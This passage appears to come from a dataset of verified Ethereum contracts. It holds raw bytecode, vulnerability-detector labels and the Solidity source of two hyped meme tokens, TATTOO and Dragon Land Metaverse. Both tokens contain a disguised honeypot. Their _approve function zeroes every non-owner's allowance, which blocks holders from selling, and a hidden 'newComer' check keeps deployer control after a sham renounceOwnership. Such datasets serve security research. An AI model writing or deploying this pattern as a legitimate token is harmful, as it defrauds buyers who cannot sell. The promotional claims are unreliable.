028152600401600060405180830381600087803b151561155257600080fd5b5af1151561155f57600080fd5b505050565b600760029054906101000a900460ff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639d6fb0206040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156115fe57600080fd5b5af1151561160b57600080fd5b50505060405180519050905090565b600760009054906101000a900460ff1681565b600760019054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa89401a336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15156116fc57600080fd5b5af1151561170957600080fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117a557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60008082840190508381101515156118c957fe5b8091505092915050565b60008060008414156118e85760009150611907565b82840290508284828115156118f957fe5b0414151561190357fe5b8091505b5092915050565b600080828481151561191c57fe5b0490508091505092915050565b60008060009050678ac7230489e800008310156119835761197c606461196e86600260038110151561195757fe5b602002015160ff16886118d390919063ffffffff16565b61190e90919063ffffffff16565b9050611a2c565b678ac7230489e8000083101580156119a4575068056bc75e2d631000008311155b156119ec576119e560646119d78660016003811015156119c057fe5b602002015160ff16886118d390919063ffffffff16565b61190e90919063ffffffff16565b9050611a2b565b611a286064611a1a866000600381101515611a0357fe5b602002015160ff16886118d390919063ffffffff16565b61190e90919063ffffffff16565b90505b5b611a3f81866118b590919063ffffffff16565b9150509392505050565b600060048660ff16141515611a5d57600080fd5b8560ff168551141515611a6f57600080fd5b8560ff168451141515611a8157600080fd5b8560ff168351141515611a9357600080fd5b8560ff166004141515611aa557600080fd5b85600760006101000a81548160ff021916908360ff160217905550600090505b8560ff168160ff161015611dba576000838260ff16815181101515611ae657fe5b90602001906020020151111515611afc57600080fd5b848160ff16815181101515611b0d57fe5b90602001906020020151848260ff16815181101515611b2857fe5b90602001906020020151111515611b3e57600080fd5b60008160ff161115611c8c57836001820360ff16815181101515611b5e57fe5b90602001906020020151858260ff16815181101515611b7957fe5b90602001906020020151111515611b8f57600080fd5b60048054806001018281611ba39190611dc2565b9160005260206000209060050201600060a060405190810160405280878660ff16815181101515611bd057fe5b906020019060200201518152602001898660ff16815181101515611bf057fe5b906020019060200201518152602001888660ff16815181101515611c1057fe5b906020019060200201518152602001868660ff16600481101515611c3057fe5b6020020151815260200160008152509091909150600082015181600001556020820151816001015560408201518160020155606082015181600301906003611c79929190611df4565b5060808201518160040155505050611dad565b42858260ff16815181101515611c9e57fe5b90602001906020020151111515611cb457600080fd5b60048054806001018281611cc89190611dc2565b9160005260206000209060050201600060a060405190810160405280878660ff16815181101515611cf557fe5b906020019060200201518152602001898660ff16815181101515611d1557fe5b906020019060200201518152602001888660ff16815181101515611d3557fe5b906020019060200201518152602001868660ff16600481101515611d5557fe5b6020020151815260200160008152509091909150600082015181600001556020820151816001015560408201518160020155606082015181600301906003611d9e929190611df4565b50608082015181600401555050505b8080600101915050611ac5565b505050505050565b815481835581811511611def57600502816005028360005260206000209182019101611dee9190611e8e565b5b505050565b826003601f01602090048101928215611e7d5791602002820160005b83821115611e4e57835183826101000a81548160ff021916908360ff1602179055509260200192600101602081600001049283019260010302611e10565b8015611e7b5782816101000a81549060ff0219169055600101602081600001049283019260010302611e4e565b505b509050611e8a9190611edd565b5090565b611eda91905b80821115611ed65760008082016000905560018201600090556002820160009055600382016000611ec59190611f0d565b600482016000905550600501611e94565b5090565b90565b611f0a91905b80821115611f0657600081816101000a81549060ff021916905550600101611ee3565b5090565b90565b50600090555600a165627a7a72305820a5892db55aa1fe03e661bf119df13079329d9473697a874b15754480c42ca9e00029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
591
0x44876743b0f65edf6eccd3c99f80a7d2f71dcadc
/** *Submitted for verification at Etherscan.io on 2021-09-14 */ /* YES ! WE ARE BACK !!! Who says it has to be on your skin? There are huge differences between the real world and the crypto world. Lots of good stuff worth to be brought into the blooming crypto universe. Here we have TATTOO. We don’t do any rocket science, just the token and NFT of art, of us! A different world but still us! ERC20 Total tax 12% 4% Airdrop 4% Marketings 4% NFT Developments Total Supply: 4,000,000,000 Symbol: TATTOO 👁‍🗨Telegram: https://t.me/tattootoken 👁‍🗨Website: https://www.tattootokeneth.com */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract TATTOO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 4000 * 10**6 * 10**18; string private _name = ' Tattoo '; string private _symbol = 'TATTOO👁‍🗨'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202d8cb76c912a4cae84b16c0f81d035eeaa06bf20835401ae210296cad40f022064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
592
0x6dfbc0697d078e76fe3139e3fe833a1d919b4504
/** *Submitted for verification at Etherscan.io on 2021-12-13 */ /** TG: t.me/dragonlanderc Metaverse fans, say no more. Dragon Land launches DEC 13 and they have a ton in store. Don't miss this project, it's going to be a major player, I believe we'll see a fantastic launch here. Check out Dragon Land below, it all goes down December 13: ⚔️Dragon Land Metaverse⚔️ 🏹Dragon Land is the first Fantasy Metaverse coming to ERC20. Join us in building a fantasy world where people can buy land, characters, armor and other treasures and fight other players and NPCs in a P2E game. ⚔️Check out our website for more information and our V1 whitepaper. 🏹Audit by Dessert Finance! Web: www.dragonlanderc.com Email: [email protected] Twitter: https://twitter.com/dragonlanderc Whitepaper: www.dragonlanderc.com/whitepaper Dessert Swap: https://dessertswap.finance/audits/DragonLand-ETH-Audit-13754450.pdf */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract DragonLandMetaverse is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6* 10**18; string private _name = 'Dragon Land Metaverse' ; string private _symbol = 'DRAGONLAND '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff